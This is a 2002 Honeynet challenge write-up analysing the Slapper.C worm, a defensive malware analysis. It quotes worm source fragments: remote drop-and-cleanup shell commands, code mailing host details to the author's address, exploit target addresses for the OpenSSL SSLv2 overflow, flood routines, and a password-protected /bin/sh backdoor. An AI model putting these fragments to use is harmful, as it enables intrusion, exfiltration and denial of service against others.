Honeynet Project Scan of the Month - Scan 25 (November 2002)

Submission by David Bradbury <dpbrad at au.ibm.com>
Thu Nov 14 11:50:17 AEST 2002

Author

David Bradbury
Security and Privacy Services
IBM Global Services Australia
Level 1, 55 Pyrmont St, Pyrmont, NSW, 2009
Mobile: +61 422 007 008, Email: dpbrad at au.ibm.com

Introduction

Members from the Honeynet.BR (http://www.lac.inpe.br/security/honeynet/) team have captured a new worm from the wild. The file (.unlock), was used by the worm to infect the honeypot. Your mission is to analyze the captured file in order to answer the questions below. Be sure you review the submission rules at the SotM challenge page (http://project.honeynet.org/scans/scans/) before submitting your results.

Download the Binary (http://project.honeynet.org/scans/scan25/.unlock)

Note: The MD5 and SHA1 checksums are shown below.
MD5 (.unlock) = a03b5be9264651ab30f2223592befb42
SHA1 (.unlock) = 4b018cdfdbcf71ddaa789e8ecc9ed7700660021a

Questions (Quick Answers in Blue)

1. Which is the type of the .unlock file? When was it generated?

i) Download the file

```
$ wget http://project.honeynet.org/scans/scan25/.unlock
--15:19:45--  http://project.honeynet.org/scans/scan25/.unlock
           => `.unlock'
Connecting to project.honeynet.org[63.107.222.112]:80... connected.
Proxy request sent, awaiting response... 200 OK
Length: 17,973 [text/plain]

100%[====================================>] 17,973         9.68K/s    ETA 00:00

15:19:47 (9.68 KB/s) - `.unlock' saved [17973/17973]

$ ls -la
total 18
drwxrwxrwx    2 dpbrad   None            0 Nov 13 15:19 .
drwxrwxrwx    4 dpbrad   None            0 Nov 13 15:22 ..
-rw-rw-rw-    1 dpbrad   None        17973 Sep 23 03:06 .unlock
```

ii) Verify MD5 (.unlock) = a03b5be9264651ab30f2223592befb42

```
$ md5sum .unlock
a03b5be9264651ab30f2223592befb42 *.unlock
```

iii) Verify SHA1 (.unlock) = 4b018cdfdbcf71ddaa789e8ecc9ed7700660021a

```
$ sha1sum .unlock
4b018cdfdbcf71ddaa789e8ecc9ed7700660021a *.unlock
```

iv) Determine the file type of .unlock and extract contents

```
$ file .unlock .unlock: gzip compressed data, deflated, last modified: Fri Sep
20 20:59:04 2002, os: Unix
```

The .unlock file was generated on Fri Sep 20 20:59:04 2002.

```
$ mv .unlock .unlock.gz

$ gunzip .unlock.gz

$ ls -la
total 80
drwxrwxrwx    2 dpbrad   None            0 Nov 13 15:30 .
drwxrwxrwx    4 dpbrad   None            0 Nov 13 15:22 ..
-rw-rw-rw-    1 dpbrad   None        81920 Sep 23 03:06 .unlock

$ file .unlock
.unlock: GNU tar archive

$ tar xvf .unlock
.unlock.c
.update.c

$ ls -la
total 153
drwxrwxrwx    2 dpbrad   None            0 Nov 13 15:32 .
drwxrwxrwx    3 dpbrad   None            0 Nov 13 15:38 ..
-rw-rw-rw-    1 dpbrad   None        81920 Sep 23 03:06 .unlock
-rw-r--r--    1 dpbrad   None        70981 Sep 20 23:28 .unlock.c
-rw-r--r--    1 dpbrad   None         2792 Sep 20 07:57 .update.c

$ file .unlock.c
.unlock.c: ASCII English text, with CRLF, LF line terminators

$ file .update.c
.update.c: ASCII C program text, with CRLF, LF line terminators
```

The .unlock file is a GZIP compressed TAR archive containing the two ASCII files .unlock.c and .update.c

2. Based on the source code, who is the author of this worm? When was it created? Is it compatible with the date from question 1?

The author of the worm is aion (aion@ukr.net) who modified a worm created by contem@efnet.

From the source code we can find the following date indicating when the worm was created:

```
.unlock.c:
Line 71.    #define VERSION   20092002
```

Assuming that this number is in the format ddmmyyyy then the date
20th September 2002 is indeed compatible with the date found in question 1.

3. Which process name is used by the worm when it is running?

The process name used by the worm when running is "httpd ".

The worm defines the process name as follows:

.unlock.c:
```
Line 78.    #define PSNAME "httpd "
```

The worm changes its current process name as follows:

.unlock.c:
```
Line 1808.  strcpy(argv[0],PSNAME);
```

4. In which format does the worm copy itself to the newly infected machine? Which files are created in the whole process? After the worm executes itself, which files remain on the infected machine?

The worm is transmitted as a uuencoded archive containing the original
.update GZIP compressed TAR archive containing the two ASCII files
.unlock.c and .update.c

The worm transmits the .unlock file by uuencoding it internally with the encode function and sending it to the target system by first using the command "cat > /tmp/.unlock.uu << __eof__" then sending the encoded file and finishing the cat with another "__eof__". This can be seen in the following code:

.unlock.c:
```
Line 1417.  writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n");
Line 1418.  zhdr(1);
Line 1419.  encode(sockfd);
Line 1420.  zhdr(0);
Line 1421.  writem(sockfd,"__eof__\n");
```

The following files are created in the whole process:
/tmp/.unlock.uu
/tmp/.unlock.c
/tmp/.update.c
/tmp/httpd
/tmp/update

After the worm executes itself no files should remain on the infected machine.

When the worm executes the following command "rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c /tmp/httpd /tmp/update" is issued which should remove all files created by the worm from the host machine. This can be seen in the following code:

.unlock.c:
```
Line 1429.  writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
Line 1430.                  "       /tmp/httpd /tmp/update; exit; \n");
```

5. Which port is scanned by the worm?

The worm scans port 80.

The worm defines the port to be scanned as follows:

```
.unlock.c:
Line 67.    #define SCANPORT 80
```

The worm scans a range of addresses connecting with the following piece of code:

```
.unlock.c:
Line 1926.  atcp_sync_connect(&clients[n],srv,SCANPORT);
```

6. Which vulnerability does the worm try to exploit? In which architectures?

From a quick google search for the author of this worm "aion (aion@ukr.net)" determines that this is the Linux Slapper Worm .C variant. Descriptions of the worm are available from major antivirus software vendors. [1][2][3][4][5]

The worm exploits a buffer overflow condition in OpenSSL 0.9.6d and earlier, and 0.9.7-beta2 and earlier, which allow remote attackers to execute arbitrary code. Versions of OpenSSL servers prior to 0.9.6e and pre-release version 0.9.7-beta2 contain a remotely exploitable buffer overflow vulnerability. This vulnerability can be exploited by a client using a malformed key during the handshake process with an SSL server connection using the SSLv2 communication process.[6][7][8]

The worm retrieves the response from the server to check for a vulnerable architecture.

```
.unlock.c:
Line 1152.  sin.sin_port = htons(80);
Line 1153.  if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
Line 1154.  write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
```

The worm checks for an Apache server.

```
.unlock.c:
Line 1711.  if (strncmp(a,"Apache",6)) exit(0);
```

The worm checks the version of the Apache server.

```
.unlock.c:
Line 1713.  if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
Line 1714.        arch=i;
Line 1715.        break;
Line 1716.  }
```

The worm targets the following architectures:
(Apache): "Gentoo", "Debian 1.3.26", "Red-Hat 1.3.6", "Red-Hat 1.3.9", "Red-Hat 1.3.12", "Red-Hat 1.3.12", "Red-Hat 1.3.19", "Red-Hat 1.3.20", "Red-Hat 1.3.26", "Red-Hat 1.3.23", "Red-Hat 1.3.22", "SuSE 1.3.12", "SuSE 1.3.17", "SuSE 1.3.19", "SuSE 1.3.20", "SuSE 1.3.23", "SuSE 1.3.23", "Mandrake 1.3.14", "Mandrake 1.3.19", "Mandrake 1.3.20", "Mandrake 1.3.23", "Slackware 1.3.26" and "Slackware 1.3.26".

The worm defines the following struct indicating what platforms it knows how to exploit:

```
.unlock.c:
```

```
Line 1241.  struct archs {
Line 1242.        char *os;
Line 1243.        char *apache;
Line 1244.        int func_addr;
Line 1245.  } architectures[] = {
Line 1246.        {"Gentoo", "", 0x08086c34},
Line 1247.        {"Debian", "1.3.26", 0x080863cc},
Line 1248.        {"Red-Hat", "1.3.6", 0x080707ec},
Line 1249.        {"Red-Hat", "1.3.9", 0x0808ccc4},
Line 1250.        {"Red-Hat", "1.3.12", 0x0808f614},
Line 1251.        {"Red-Hat", "1.3.12", 0x0809251c},
Line 1252.        {"Red-Hat", "1.3.19", 0x0809af8c},
Line 1253.        {"Red-Hat", "1.3.20", 0x080994d4},
Line 1254.        {"Red-Hat", "1.3.26", 0x08161c14},
Line 1255.        {"Red-Hat", "1.3.23", 0x0808528c},
Line 1256.        {"Red-Hat", "1.3.22", 0x0808400c},
Line 1257.        {"SuSE", "1.3.12", 0x0809f54c},
Line 1258.        {"SuSE", "1.3.17", 0x08099984},
Line 1259.        {"SuSE", "1.3.19", 0x08099ec8},
Line 1260.        {"SuSE", "1.3.20", 0x08099da8},
Line 1261.        {"SuSE", "1.3.23", 0x08086168},
Line 1262.        {"SuSE", "1.3.23", 0x080861c8},
Line 1263.        {"Mandrake", "1.3.14", 0x0809d6c4},
Line 1264.        {"Mandrake", "1.3.19", 0x0809ea98},
Line 1265.        {"Mandrake", "1.3.20", 0x0809e97c},
Line 1266.        {"Mandrake", "1.3.23", 0x08086580},
Line 1267.        {"Slackware", "1.3.26", 0x083d37fc},
Line 1268.        {"Slackware", "1.3.26",0x080b2100}
Line 1269.  };
```

If no match is found for the version the default that will be exploited is arch[9] = "Red-Hat 1.3.23"

.unlock.c:

```
Line 1718.  if (arch == -1) arch=9;
```

The worm then makes attempts to connect to the server on port 443 (maximum of 20 attempted connections)

.unlock.c:

```
Line 1701.  int port = 443;
```

.unlock.c:

```
Line 1704.  int N = 20;
```

.unlock.c:

```
Line 1722.  for (i=0; i<N; i++) {
Line 1723.        connect_host(ip, port);
Line 1724.        usleep(100000);
Line 1725.  }
```

The worm then creates an SSL connection to the server and sends an oversized client key to exploit the vulnerable server.

.unlock.c:

```
Line 1749.  send_client_master_key(ssl2, overwrite_next_chunk,
sizeof(overwrite_next_chunk)-1);
```

7. What kind of information is sent by the worm by email? To which account?

The worm sends the following information:

```
hostid:     << The 32-bit identifier for the current processor >>
hostname:   << The host name >>
att_from:   << The host ip address >>
```

The worm sends information by email according to the following code:

```
.unlock.c:
Line 122.   sprintf(cmdbuf," hostid:   %d \r\n"
Line 123.                  " hostname: %s \r\n"
Line 124.                  " att_from: %s \r\n",gethostid(),buffer,sip);
```

The worm sends this information to the following account:

```
Mail Server:      freemail.ukr.net
Mail Account:     aion@ukr.net
```

The worm uses the following server and account information:

```
.unlock.c:
Line 76.    #define MAILSRV   "freemail.ukr.net"
Line 77.    #define MAILTO    "aion@ukr.net"
```

The worm connects to the mail server as follows:

```
.unlock.c:
Line 102.   if((inet=inet_addr(MAILSRV))==-1)
Line 103.   {
Line 104.         if(hp=gethostbyname(MAILSRV))
Line 105.               memcpy (&inet, hp->h_addr, 4);
Line 106.         else return -1;
Line 107.   }
Line 108.   sck.sin_family = PF_INET;
Line 109.   sck.sin_port = htons (25);
Line 110.   sck.sin_addr.s_addr = inet;
Line 111.   if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1;
```

The worm uses the mail account as follows:

```
.unlock.c:
Line 118.   sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n");             writem(pip, cmdbuf);
```

8. Which port (and protocol) is used by the worm to communicate to other infected machines?

The worm uses port 4156 and the UDP protocol to communicate with other infected machines.

The worm defines the port used to communicate with other infected machines as follows:

```
.unlock.c:
Line 66.    #define PORT 4156
```

The worm creates a UDP server on port 4156 in the main function as follows:

```
.unlock.c:
Line 1784.  if (audp_listen(&udpserver,PORT) != 0) {
Line 1785.        printf("Error: %s\n",aerror(&udpserver));
Line 1786.        return 0;
Line 1787.  }
```

9. Name 3 functionalities built in the worm to attack other networks.

The worm has the following functionalities built in to attack other networks:

- UDP Flooding
- IPv4 TCP Flooding
- IPv6 TCP Flooding
- DNS Flooding

The packets that are sent to the worm to attack other networks consist of the following data structures:

```
.unlock.c:
Line 146.   struct llheader {
Line 147.         char type;
Line 148.         unsigned long checksum;
Line 149.         unsigned long id;
Line 150.   };
Line 151.   struct header {
Line 152.         char tag;
Line 153.         int id;
Line 154.         unsigned long len;
Line 155.         unsigned long seq;
Line 156.   };
```

Packets that are received with the tag attribute set to the following values will force the host to attack other networks.

i) tag = 0x29 forces the host to execute a 'UDP Flood'

```
.unlock.c
Line 2208.  case 0x29: { // Udp flood
```

ii) tag = 0x2A forces the host to execute a 'TCP Flood'

```
.unlock.c
Line 2249.  case 0x2A: { // Tcp flood
```

iii) tag = 0x2B forces the host to execute an 'IPv6 TCP Flood'

```
.unlock.c
Line 2282.  case 0x2B: { // IPv6 Tcp flood
```

iv) tag = 0x2C forces the host to execute a 'DNS Flood'

```
.unlock.c
Line 2311.  case 0x2C: { // Dns flood
```

10. What is the purpose of the .update.c program? Which port does it use?

The .update.c program is a password protected backdoor program that listens on TCP port 1052.

The .update.c program requires the password "aion1981" before an interactive shell is spawned to the connecting client.

The worm defines the port that the .update.c program listens on and also the required password as follows:

```
.update.c:
Line 4.     #define PORT        1052
Line 5.     #define PASS        "aion1981"
```

The worm checks the received string against the stored password before executing The interactive shell as follows:

```
.update.c:
Line 63.    if( !strncmp(temp_buff,PASS,strlen(PASS)) )
Line 64.      execl("/bin/sh","sh -i",(char *)0);
```

11. Bonus Question: What is the purpose of the SLEEPTIME and UPTIME values in the .update.c program?

The .update.c program will listen for connections on TCP port 1052 for a period of UPTIME seconds (10sec) before sleeping for SLEEPTIME seconds (300sec/5min).

The worm defines the SLEEPTIME and UPTIME values as follows:

```
.update.c:
Line 6.           #define SLEEPTIME 300          // sleep  5 min.
Line 7.           #define UPTIME    10           // listen 10 sec.
```

The worm listens for connections for a period of UPTIME seconds as follows:

```
.update.c:
Line 52.    for(stimer=time(NULL);(stimer+UPTIME)>time(NULL);)
```

The worm sleeps for a period of SLEEPTIME seconds as follows:

```
.update.c:
Line 73.    sleep(SLEEPTIME);
```

References

[1] Symantec (http://securityresponse.symantec.com/avcenter/venc/data/linux.slapper.worm.html)
[2] McAfee (http://vil.mcafee.com/dispVirus.asp?virus_k=99710)
[3] Trend (http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=ELF_SLAPPER.C&VSect=T)
[4] VirusList http://www.viruslist.com/eng/viruslist.html?id=52071
[5] F-Secure (http://www.f-secure.com/v-descs/slapper.shtml)
[6] CERT Advisory CA-2002-23 Multiple Vulnerabilities In OpenSSL (http://www.cert.org/advisories/CA-2002-23.html)
[7] CAN-2002-0656 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0656)
[8] Vulnerability Note VU#102795 (http://www.kb.cert.org/vuls/id/102795)